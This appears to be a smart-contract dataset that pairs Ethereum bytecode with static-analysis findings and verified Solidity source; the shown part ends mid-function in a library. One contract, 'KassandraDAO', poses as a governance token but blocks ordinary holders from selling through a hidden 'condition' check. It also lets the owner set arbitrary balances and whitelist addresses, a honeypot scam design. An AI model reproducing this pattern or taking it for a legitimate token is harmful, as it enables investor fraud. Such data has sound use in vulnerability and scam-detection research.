ffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c765750600e60169054906101000a900460ff165b15611c9e57611c8481611eb3565b60004790506000811115611c9c57611c9b47611dd9565b5b505b505b611cab83838361213b565b505050565b6000838311158290611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cef9190612e2b565b60405180910390fd5b5060008385611d0791906131e4565b9050809150509392505050565b600080831415611d275760009050611d89565b60008284611d35919061318a565b9050828482611d449190613159565b14611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90612eed565b60405180910390fd5b809150505b92915050565b6000611dd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214b565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e41573d6000803e3d6000fd5b5050565b6000600854821115611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390612e8d565b60405180910390fd5b6000611e966121ae565b9050611eab8184611d8f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eeb57611eea6133b9565b5b604051908082528060200260200182016040528015611f195781602001602082028036833780820191505090505b5090503081600081518110611f3157611f3061338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd357600080fd5b505afa158015611fe7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200b9190612872565b8160018151811061201f5761201e61338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611452565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120ea959493929190612fe8565b600060405180830381600087803b15801561210457600080fd5b505af1158015612118573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121468383836121d9565b505050565b60008083118290612192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121899190612e2b565b60405180910390fd5b50600083856121a19190613159565b9050809150509392505050565b60008060006121bb6123a4565b915091506121d28183611d8f90919063ffffffff16565b9250505090565b6000806000806000806121eb87612403565b95509550955095509550955061224986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122de85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232a81612513565b61233484836125d0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123919190612fcd565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a764000090506123d8670de0b6b3a7640000600854611d8f90919063ffffffff16565b8210156123f657600854670de0b6b3a76400009350935050506123ff565b81819350935050505b9091565b60008060008060008060008060006124208a600a54600b5461260a565b92509250925060006124306121ae565b905060008060006124438e8787876126a0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb0565b905092915050565b60008082846124c49190613103565b905083811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090612ecd565b60405180910390fd5b8091505092915050565b600061251d6121ae565b905060006125348284611d1490919063ffffffff16565b905061258881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e58260085461246b90919063ffffffff16565b600881905550612600816009546124b590919063ffffffff16565b6009819055505050565b6000806000806126366064612628888a611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126606064612652888b611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126898261267b858c61246b90919063ffffffff16565b61246b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b98589611d1490919063ffffffff16565b905060006126d08689611d1490919063ffffffff16565b905060006126e78789611d1490919063ffffffff16565b9050600061271082612702858761246b90919063ffffffff16565b61246b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273c61273784613082565b61305d565b9050808382526020820190508285602086028201111561275f5761275e6133ed565b5b60005b8581101561278f57816127758882612799565b845260208401935060208301925050600181019050612762565b5050509392505050565b6000813590506127a881613703565b92915050565b6000815190506127bd81613703565b92915050565b600082601f8301126127d8576127d76133e8565b5b81356127e8848260208601612729565b91505092915050565b6000813590506128008161371a565b92915050565b6000815190506128158161371a565b92915050565b60008135905061282a81613731565b92915050565b60008151905061283f81613731565b92915050565b60006020828403121561285b5761285a6133f7565b5b600061286984828501612799565b91505092915050565b600060208284031215612888576128876133f7565b5b6000612896848285016127ae565b91505092915050565b600080604083850312156128b6576128b56133f7565b5b60006128c485828601612799565b92505060206128d585828601612799565b9150509250929050565b6000806000606084860312156128f8576128f76133f7565b5b600061290686828701612799565b935050602061291786828701612799565b92505060406129288682870161281b565b9150509250925092565b60008060408385031215612949576129486133f7565b5b600061295785828601612799565b92505060206129688582860161281b565b9150509250929050565b600060208284031215612988576129876133f7565b5b600082013567ffffffffffffffff8111156129a6576129a56133f2565b5b6129b2848285016127c3565b91505092915050565b6000602082840312156129d1576129d06133f7565b5b60006129df848285016127f1565b91505092915050565b6000602082840312156129fe576129fd6133f7565b5b6000612a0c84828501612806565b91505092915050565b600060208284031215612a2b57612a2a6133f7565b5b6000612a398482850161281b565b91505092915050565b600080600060608486031215612a5b57612a5a6133f7565b5b6000612a6986828701612830565b9350506020612a7a86828701612830565b9250506040612a8b86828701612830565b9150509250925092565b6000612aa18383612aad565b60208301905092915050565b612ab681613218565b82525050565b612ac581613218565b82525050565b6000612ad6826130be565b612ae081856130e1565b9350612aeb836130ae565b8060005b83811015612b1c578151612b038882612a95565b9750612b0e836130d4565b925050600181019050612aef565b5085935050505092915050565b612b328161322a565b82525050565b612b418161326d565b82525050565b6000612b52826130c9565b612b5c81856130f2565b9350612b6c81856020860161327f565b612b75816133fc565b840191505092915050565b6000612b8d6023836130f2565b9150612b988261340d565b604082019050919050565b6000612bb06019836130f2565b9150612bbb8261345c565b602082019050919050565b6000612bd3602a836130f2565b9150612bde82613485565b604082019050919050565b6000612bf66022836130f2565b9150612c01826134d4565b604082019050919050565b6000612c19601b836130f2565b9150612c2482613523565b602082019050919050565b6000612c3c6021836130f2565b9150612c478261354c565b604082019050919050565b6000612c5f6020836130f2565b9150612c6a8261359b565b602082019050919050565b6000612c826029836130f2565b9150612c8d826135c4565b604082019050919050565b6000612ca56025836130f2565b9150612cb082613613565b604082019050919050565b6000612cc8601a836130f2565b9150612cd382613662565b602082019050919050565b6000612ceb6024836130f2565b9150612cf68261368b565b604082019050919050565b6000612d0e6017836130f2565b9150612d19826136da565b602082019050919050565b612d2d81613256565b82525050565b612d3c81613260565b82525050565b6000602082019050612d576000830184612abc565b92915050565b6000604082019050612d726000830185612abc565b612d7f6020830184612abc565b9392505050565b6000604082019050612d9b6000830185612abc565b612da86020830184612d24565b9392505050565b600060c082019050612dc46000830189612abc565b612dd16020830188612d24565b612dde6040830187612b38565b612deb6060830186612b38565b612df86080830185612abc565b612e0560a0830184612d24565b979650505050505050565b6000602082019050612e256000830184612b29565b92915050565b60006020820190508181036000830152612e458184612b47565b905092915050565b60006020820190508181036000830152612e6681612b80565b9050919050565b60006020820190508181036000830152612e8681612ba3565b9050919050565b60006020820190508181036000830152612ea681612bc6565b9050919050565b60006020820190508181036000830152612ec681612be9565b9050919050565b60006020820190508181036000830152612ee681612c0c565b9050919050565b60006020820190508181036000830152612f0681612c2f565b9050919050565b60006020820190508181036000830152612f2681612c52565b9050919050565b60006020820190508181036000830152612f4681612c75565b9050919050565b60006020820190508181036000830152612f6681612c98565b9050919050565b60006020820190508181036000830152612f8681612cbb565b9050919050565b60006020820190508181036000830152612fa681612cde565b9050919050565b60006020820190508181036000830152612fc681612d01565b9050919050565b6000602082019050612fe26000830184612d24565b92915050565b600060a082019050612ffd6000830188612d24565b61300a6020830187612b38565b818103604083015261301c8186612acb565b905061302b6060830185612abc565b6130386080830184612d24565b9695505050505050565b60006020820190506130576000830184612d33565b92915050565b6000613067613078565b905061307382826132b2565b919050565b6000604051905090565b600067ffffffffffffffff82111561309d5761309c6133b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310e82613256565b915061311983613256565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314e5761314d61332c565b5b828201905092915050565b600061316482613256565b915061316f83613256565b92508261317f5761317e61335b565b5b828204905092915050565b600061319582613256565b91506131a083613256565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d9576131d861332c565b5b828202905092915050565b60006131ef82613256565b91506131fa83613256565b92508282101561320d5761320c61332c565b5b828203905092915050565b600061322382613236565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327882613256565b9050919050565b60005b8381101561329d578082015181840152602081019050613282565b838111156132ac576000848401525b50505050565b6132bb826133fc565b810181811067ffffffffffffffff821117156132da576132d96133b9565b5b80604052505050565b60006132ee82613256565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133215761332061332c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370c81613218565b811461371757600080fd5b50565b6137238161322a565b811461372e57600080fd5b50565b61373a81613256565b811461374557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220180fbeaf128cb773f907f1abef89d1811ce99c631977d5218de742da58843e8b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,517 |
0x6480c80f3080cc7e763306cdf4af97c7b92f1a9f
|
/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
/**
██ ██ █████ ███████ ███████ █████ ███ ██ ██████ ██████ █████
██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██
█████ ███████ ███████ ███████ ███████ ██ ██ ██ ██ ██ ██████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ███████ ███████ ██ ██ ██ ████ ██████ ██ ██ ██ ██
OUR LAST DEPLOYMENT GOT RUINED BY A BOT. WE Have now put Anti-Bot measures in place.
Anyone who lost money when we pulled liquidity has been refunded...
KASSANDRA DAO - KACY is our governance token which allows holders of KDAO to vote on future project changes.
https://kassandra.finance/
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KassandraDAO {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158200b526d7e0b0bea55ecfde78a4e565d8270f0b0df3d6aa5153190fe1144a28b2d64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,518 |
0x9970ac6f04e633575395a10601e0d657e296aba2
|
//------------------------------------------
//https://unn.fund
//-------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
